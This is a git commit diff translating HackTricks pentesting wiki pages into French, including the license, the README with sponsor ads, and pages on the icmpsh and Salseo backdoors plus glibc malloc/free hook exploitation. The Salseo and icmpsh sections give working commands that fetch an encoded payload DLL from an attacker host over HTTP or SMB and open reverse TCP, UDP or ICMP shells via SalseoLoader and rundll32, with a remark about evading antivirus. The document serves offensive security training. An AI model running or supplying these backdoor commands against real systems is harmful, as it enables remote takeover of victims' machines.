Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:08:49 +00:00
parent 36e65da696
commit f78fba428b
285 changed files with 13189 additions and 16673 deletions

View File

@ -57,14 +57,14 @@ a. **_Octroi de licence._**
1. Sous réserve des termes et conditions de cette Licence publique, le Concédant de licence vous accorde par la présente une licence mondiale, sans redevance, non sous-licenciable, non exclusive, irrévocable pour exercer les Droits sous Licence dans le Matériel sous Licence pour :
A. reproduire et partager le Matériel sous Licence, en tout ou en partie, uniquement à des fins NonCommerciales ; et
A. reproduire et Partager le Matériel sous Licence, en tout ou en partie, uniquement à des fins NonCommerciales ; et
B. produire, reproduire et partager du Matériel Adapté uniquement à des fins NonCommerciales.
B. produire, reproduire et Partager du Matériel Adapté uniquement à des fins NonCommerciales.
2. **Exceptions et Limitations.** Pour éviter tout doute, lorsque des Exceptions et Limitations s'appliquent à votre utilisation, cette Licence publique ne s'applique pas, et vous n'avez pas besoin de vous conformer à ses termes et conditions.
3. **Durée.** La durée de cette Licence publique est spécifiée dans la Section 6(a).
4. **Médias et formats ; modifications techniques autorisées.** Le Concédant de licence vous autorise à exercer les Droits sous Licence dans tous les médias et formats, qu'ils soient connus maintenant ou créés ultérieurement, et à apporter les modifications techniques nécessaires pour ce faire. Le Concédant de licence renonce et/ou accepte de ne pas faire valoir tout droit ou autorité pour vous interdire d'apporter des modifications techniques nécessaires à l'exercice des Droits sous Licence, y compris les modifications techniques nécessaires pour contourner les Mesures Technologiques Efficaces. Aux fins de cette Licence publique, le simple fait d'apporter des modifications autorisées par cette Section 2(a)(4) ne produit jamais de Matériel Adapté.
4. **Médias et formats ; modifications techniques autorisées.** Le Concédant de licence vous autorise à exercer les Droits sous Licence dans tous les médias et formats, qu'ils soient connus maintenant ou créés par la suite, et à apporter les modifications techniques nécessaires pour ce faire. Le Concédant de licence renonce et/ou accepte de ne pas revendiquer tout droit ou autorité pour vous interdire de faire des modifications techniques nécessaires pour exercer les Droits sous Licence, y compris les modifications techniques nécessaires pour contourner les Mesures Technologiques Efficaces. Aux fins de cette Licence publique, le simple fait d'apporter des modifications autorisées par cette Section 2(a)(4) ne produit jamais de Matériel Adapté.
5. **Destinataires en aval.**
A. **Offre du Concédant de licence Matériel sous Licence.** Chaque destinataire du Matériel sous Licence reçoit automatiquement une offre du Concédant de licence pour exercer les Droits sous Licence selon les termes et conditions de cette Licence publique.
@ -75,11 +75,11 @@ B. **Pas de restrictions en aval.** Vous ne pouvez pas offrir ou imposer des ter
b. **_Autres droits._**
1. Les droits moraux, tels que le droit à l'intégrité, ne sont pas sous licence en vertu de cette Licence publique, ni la publicité, la vie privée et/ou d'autres droits de personnalité similaires ; cependant, dans la mesure du possible, le Concédant de licence renonce et/ou accepte de ne pas faire valoir de tels droits détenus par le Concédant de licence dans la mesure limitée nécessaire pour vous permettre d'exercer les Droits sous Licence, mais pas autrement.
1. Les droits moraux, tels que le droit à l'intégrité, ne sont pas sous licence en vertu de cette Licence publique, ni les droits de publicité, de confidentialité et/ou d'autres droits de personnalité similaires ; cependant, dans la mesure du possible, le Concédant de licence renonce et/ou accepte de ne pas revendiquer de tels droits détenus par le Concédant de licence dans la mesure limitée nécessaire pour vous permettre d'exercer les Droits sous Licence, mais pas autrement.
2. Les droits de brevet et de marque ne sont pas sous licence en vertu de cette Licence publique.
3. Dans la mesure du possible, le Concédant de licence renonce à tout droit de percevoir des redevances de votre part pour l'exercice des Droits sous Licence, que ce soit directement ou par l'intermédiaire d'une société de gestion dans le cadre de tout schéma de licence statutaire ou obligatoire volontaire ou renonçable. Dans tous les autres cas, le Concédant de licence se réserve expressément tout droit de percevoir de telles redevances, y compris lorsque le Matériel sous Licence est utilisé autrement qu'à des fins NonCommerciales.
3. Dans la mesure du possible, le Concédant de licence renonce à tout droit de percevoir des redevances de votre part pour l'exercice des Droits sous Licence, que ce soit directement ou par l'intermédiaire d'une société de perception dans le cadre de tout schéma de licence statutaire ou obligatoire volontaire ou renonçable. Dans tous les autres cas, le Concédant de licence se réserve expressément tout droit de percevoir de telles redevances, y compris lorsque le Matériel sous Licence est utilisé autrement qu'à des fins NonCommerciales.
## Section 3 Conditions de la licence.
@ -87,11 +87,11 @@ Votre exercice des Droits sous Licence est expressément soumis aux conditions s
a. **_Attribution._**
1. Si vous partagez le Matériel sous Licence (y compris sous forme modifiée), vous devez :
1. Si vous Partagez le Matériel sous Licence (y compris sous forme modifiée), vous devez :
A. conserver ce qui suit s'il est fourni par le Concédant de licence avec le Matériel sous Licence :
i. identification du ou des créateurs du Matériel sous Licence et de toute autre personne désignée pour recevoir une attribution, de la manière raisonnable demandée par le Concédant de licence (y compris par pseudonyme si désigné) ;
i. identification du ou des créateurs du Matériel sous Licence et de toute autre personne désignée pour recevoir une attribution, de toute manière raisonnable demandée par le Concédant de licence (y compris par pseudonyme si désigné) ;
ii. un avis de droit d'auteur ;
@ -105,31 +105,31 @@ B. indiquer si vous avez modifié le Matériel sous Licence et conserver une ind
C. indiquer que le Matériel sous Licence est sous licence en vertu de cette Licence publique, et inclure le texte de, ou l'URI ou le lien hypertexte vers, cette Licence publique.
2. Vous pouvez satisfaire aux conditions de la Section 3(a)(1) de toute manière raisonnable en fonction du support, des moyens et du contexte dans lequel vous partagez le Matériel sous Licence. Par exemple, il peut être raisonnable de satisfaire aux conditions en fournissant un URI ou un lien hypertexte vers une ressource qui inclut les informations requises.
2. Vous pouvez satisfaire aux conditions de la Section 3(a)(1) de toute manière raisonnable en fonction du support, des moyens et du contexte dans lequel vous Partagez le Matériel sous Licence. Par exemple, il peut être raisonnable de satisfaire aux conditions en fournissant un URI ou un lien hypertexte vers une ressource qui inclut les informations requises.
3. Si demandé par le Concédant de licence, vous devez retirer toute information requise par la Section 3(a)(1)(A) dans la mesure raisonnablement praticable.
4. Si vous partagez du Matériel Adapté que vous produisez, la Licence de l'Adaptateur que vous appliquez ne doit pas empêcher les destinataires du Matériel Adapté de se conformer à cette Licence publique.
4. Si vous Partagez du Matériel Adapté que vous produisez, la Licence de l'Adaptateur que vous appliquez ne doit pas empêcher les destinataires du Matériel Adapté de se conformer à cette Licence publique.
## Section 4 Droits de Base de Données Sui Generis.
Lorsque les Droits sous Licence incluent des Droits de Base de Données Sui Generis qui s'appliquent à votre utilisation du Matériel sous Licence :
a. pour éviter tout doute, la Section 2(a)(1) vous accorde le droit d'extraire, de réutiliser, de reproduire et de partager tout ou une partie substantielle du contenu de la base de données à des fins NonCommerciales uniquement ;
a. pour éviter tout doute, la Section 2(a)(1) vous accorde le droit d'extraire, de réutiliser, de reproduire et de Partager tout ou une partie substantielle du contenu de la base de données à des fins NonCommerciales uniquement ;
b. si vous incluez tout ou une partie substantielle du contenu de la base de données dans une base de données dans laquelle vous avez des Droits de Base de Données Sui Generis, alors la base de données dans laquelle vous avez des Droits de Base de Données Sui Generis (mais pas son contenu individuel) est du Matériel Adapté ; et
c. vous devez vous conformer aux conditions de la Section 3(a) si vous partagez tout ou une partie substantielle du contenu de la base de données.
c. vous devez vous conformer aux conditions de la Section 3(a) si vous Partagez tout ou une partie substantielle du contenu de la base de données.
Pour éviter tout doute, cette Section 4 complète et ne remplace pas vos obligations en vertu de cette Licence publique lorsque les Droits sous Licence incluent d'autres Droits d'auteur et droits similaires.
## Section 5 Clause de non-garantie et limitation de responsabilité.
a. **À moins qu'il n'en soit autrement convenu séparément par le Concédant de licence, dans la mesure du possible, le Concédant de licence offre le Matériel sous Licence tel quel et tel qu'il est disponible, et ne fait aucune déclaration ou garantie de quelque nature que ce soit concernant le Matériel sous Licence, qu'elle soit expresse, implicite, statutaire ou autre. Cela inclut, sans limitation, les garanties de titre, de qualité marchande, d'adéquation à un usage particulier, de non-contrefaçon, d'absence de défauts latents ou autres, d'exactitude, ou de la présence ou de l'absence d'erreurs, qu'elles soient connues ou découvrables ou non. Lorsque les clauses de non-garantie ne sont pas autorisées en tout ou en partie, cette clause de non-garantie peut ne pas s'appliquer à vous.**
a. **Sauf accord séparé du Concédant de licence, dans la mesure du possible, le Concédant de licence offre le Matériel sous Licence tel quel et tel que disponible, et ne fait aucune déclaration ou garantie de quelque nature que ce soit concernant le Matériel sous Licence, qu'elle soit expresse, implicite, statutaire ou autre. Cela inclut, sans limitation, les garanties de titre, de qualité marchande, d'adéquation à un usage particulier, de non-contrefaçon, d'absence de défauts latents ou autres, d'exactitude, ou de la présence ou de l'absence d'erreurs, qu'elles soient connues ou découvrables. Lorsque les clauses de non-garantie ne sont pas autorisées en tout ou en partie, cette clause de non-garantie peut ne pas s'appliquer à vous.**
b. **Dans la mesure du possible, en aucun cas le Concédant de licence ne sera responsable envers vous sur la base de quelque théorie juridique que ce soit (y compris, sans limitation, la négligence) ou autrement pour toute perte, coût, dépense ou dommage direct, spécial, indirect, accessoire, consécutif, punitif, exemplaire ou autre découlant de cette Licence publique ou de l'utilisation du Matériel sous Licence, même si le Concédant de licence a été informé de la possibilité de telles pertes, coûts, dépenses ou dommages. Lorsque la limitation de responsabilité n'est pas autorisée en tout ou en partie, cette limitation peut ne pas s'appliquer à vous.**
b. **Dans la mesure du possible, en aucun cas le Concédant de licence ne sera responsable envers vous sur une base légale (y compris, sans limitation, la négligence) ou autrement pour toute perte, coût, dépense ou dommage direct, spécial, indirect, accessoire, consécutif, punitif, exemplaire ou autre découlant de cette Licence publique ou de l'utilisation du Matériel sous Licence, même si le Concédant de licence a été informé de la possibilité de telles pertes, coûts, dépenses ou dommages. Lorsque la limitation de responsabilité n'est pas autorisée en tout ou en partie, cette limitation peut ne pas s'appliquer à vous.**
c. La clause de non-garantie et la limitation de responsabilité fournies ci-dessus doivent être interprétées de manière à, dans la mesure du possible, se rapprocher le plus d'une clause de non-garantie absolue et d'une renonciation à toute responsabilité.
c. La clause de non-garantie et la limitation de responsabilité fournies ci-dessus seront interprétées de manière à, dans la mesure du possible, se rapprocher le plus d'une clause de non-garantie absolue et d'une renonciation à toute responsabilité.
## Section 6 Durée et résiliation.
@ -155,7 +155,7 @@ b. Tout arrangement, compréhension ou accord concernant le Matériel sous Licen
## Section 8 Interprétation.
a. Pour éviter tout doute, cette Licence publique ne réduit, limite, restreint ni n'impose de conditions sur toute utilisation du Matériel sous Licence qui pourrait être légalement faite sans permission en vertu de cette Licence publique.
a. Pour éviter tout doute, cette Licence publique ne réduit, limite, restreint ni n'impose de conditions sur toute utilisation du Matériel sous Licence qui pourrait légalement être faite sans permission en vertu de cette Licence publique.
b. Dans la mesure du possible, si une disposition de cette Licence publique est jugée inapplicable, elle sera automatiquement reformée dans la mesure minimale nécessaire pour la rendre applicable. Si la disposition ne peut pas être reformée, elle sera séparée de cette Licence publique sans affecter l'applicabilité des termes et conditions restants.

View File

@ -4,10 +4,10 @@ Reading time: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Les logos et le design animé de Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logos & motion design par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking/quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, des recherches et des actualités.**
> **Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking que j'ai apprise lors de CTF, d'applications réelles, de lectures de recherches et d'actualités.**
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors de pentesting** d'une ou plusieurs **machines :**
@ -15,13 +15,13 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
generic-methodologies-and-resources/pentesting-methodology.md
{{#endref}}
## Sponsors Corporatifs
## Corporate Sponsors
### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les Red teams et la formation.
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -78,7 +78,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - L'outil essentiel pour le pentesting
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - L'outil essentiel pour le test de pénétration
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
@ -109,7 +109,7 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Apprenez les technologies et les compétences nécessaires pour effectuer des recherches sur les vulnérabilités, des tests de pénétration et de l'ingénierie inverse pour protéger les applications et les appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
Apprenez les technologies et compétences nécessaires pour effectuer des recherches sur les vulnérabilités, des tests de pénétration et de l'ingénierie inverse pour protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
{% embed url="https://academy.8ksec.io/" %}
@ -121,7 +121,7 @@ Apprenez les technologies et les compétences nécessaires pour effectuer des re
[**WebSec**](https://websec.nl) est une entreprise professionnelle de cybersécurité basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de Sécurité, Formations de Sensibilisation, Campagnes de Phishing, Revue de Code, Développement d'Exploits, Externalisation d'Experts en Sécurité et bien plus encore.
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de sécurité, Formations de sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Téléchargez le backdoor depuis : [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# Côté client
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Exécutez le script : **run.sh**
**Si vous obtenez une erreur, essayez de modifier les lignes :**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**Pour :**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Côté Victime**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
Téléchargez **icmpsh.exe** sur la victime et exécutez :
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Compilation des binaires
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Téléchargez le code source depuis github et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (Si Windows supporte x64, compilez-les pour cette architecture).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche dans **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\<Nom du Projet> Properties"**)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Ensuite, construisez les deux projets (Build -> Build Solution) (Dans les logs, le chemin de l'exécutable apparaîtra) :
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Préparer le Backdoor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
Tout d'abord, vous devrez encoder le **EvilSalsa.dll.** Pour ce faire, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** :
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
D'accord, maintenant vous avez tout ce qu'il vous faut pour exécuter toutes les choses Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un AV...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Exécuter le backdoor**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **Obtenir un shell inverse TCP (téléchargement du dll encodé via HTTP)**
N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse et un serveur HTTP pour servir l'evilsalsa encodé.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obtenir un shell inverse UDP (téléchargement d'un dll encodé via SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse, et un serveur SMB pour servir l'evilsalsa encodé (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Obtenir un shell inverse ICMP (dll encodée déjà à l'intérieur de la victime)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Désactiver les réponses ICMP :**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### Exécuter le client :
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### À l'intérieur de la victime, exécutons le truc salseo :
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compiler SalseoLoader en tant que DLL exportant la fonction principale
## Compiling SalseoLoader as DLL exporting main function
Ouvrez le projet SalseoLoader avec Visual Studio.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Ajoutez avant la fonction principale : \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Installez DllExport pour ce projet
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez le popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
Dans votre dossier de projet, les fichiers suivants sont apparus : **DllExport.bat** et **DllExport_Configure.bat**
### **U**ninstall DllExport
### **D** désinstaller DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
Appuyez sur **Désinstaller** (ouais, c'est bizarre mais faites-moi confiance, c'est nécessaire)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Quittez Visual Studio et exécutez DllExport_configure**
Just **exit** Visual Studio
Il suffit de **quitter** Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport_Configure.bat**
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
Sélectionnez **x64** (si vous allez l'utiliser à l'intérieur d'une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Ouvrez à nouveau le projet avec Visual Studio**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** ne devrait plus être marqué comme erreur
![](<../images/image (8) (1).png>)
### Build the solution
### Construire la solution
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Build --> Cible de la plateforme = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Pour **construire** la solution : Build --> Build Solution (Dans la console de sortie, le chemin de la nouvelle DLL apparaîtra)
### Test the generated Dll
### Testez la Dll générée
Copy and paste the Dll where you want to test it.
Execute:
Copiez et collez la Dll où vous souhaitez la tester.
Exécutez :
```
rundll32.exe SalseoLoader.dll,main
```
Si aucune erreur n'apparaît, vous avez probablement un DLL fonctionnel !!
If no error appears, probably you have a functional DLL!!
## Obtenir un shell en utilisant le DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
N'oubliez pas d'utiliser un **serveur** **HTTP** et de définir un **écouteur** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>Soutenir HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PRs au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Écriture Arbitraire 2 Exécution

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Comme vous pouvez le voir sur [le site officiel de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** est un pointeur pointant vers **l'adresse d'une fonction qui sera appelée** chaque fois que `malloc()` est appelée **stockée dans la section de données de la bibliothèque libc**. Par conséquent, si cette adresse est écrasée avec un **One Gadget** par exemple et que `malloc` est appelé, le **One Gadget sera appelé**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en **appelant `printf("%10000$c")`** qui alloue trop de bytes, ce qui fait que `libc` appelle malloc pour les allouer dans le tas.
More info about One Gadget in:
Plus d'infos sur One Gadget dans :
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> Notez que les hooks sont **désactivés pour GLIBC >= 2.34**. Il existe d'autres techniques qui peuvent être utilisées sur les versions modernes de GLIBC. Voir : [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Cela a été abusé dans un des exemples de la page abusant d'une attaque de fast bin après avoir abusé d'une attaque de unsorted bin :
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
Il est possible de trouver l'adresse de `__free_hook` si le binaire a des symboles avec la commande suivante :
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[Dans le post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html), vous pouvez trouver un guide étape par étape sur la façon de localiser l'adresse du free hook sans symboles. En résumé, dans la fonction free :
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
Dans la rupture mentionnée dans le code précédent, l'adresse du free hook sera située dans `$eax`.
Now a **fast bin attack** is performed:
Maintenant, une **attaque fast bin** est effectuée :
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
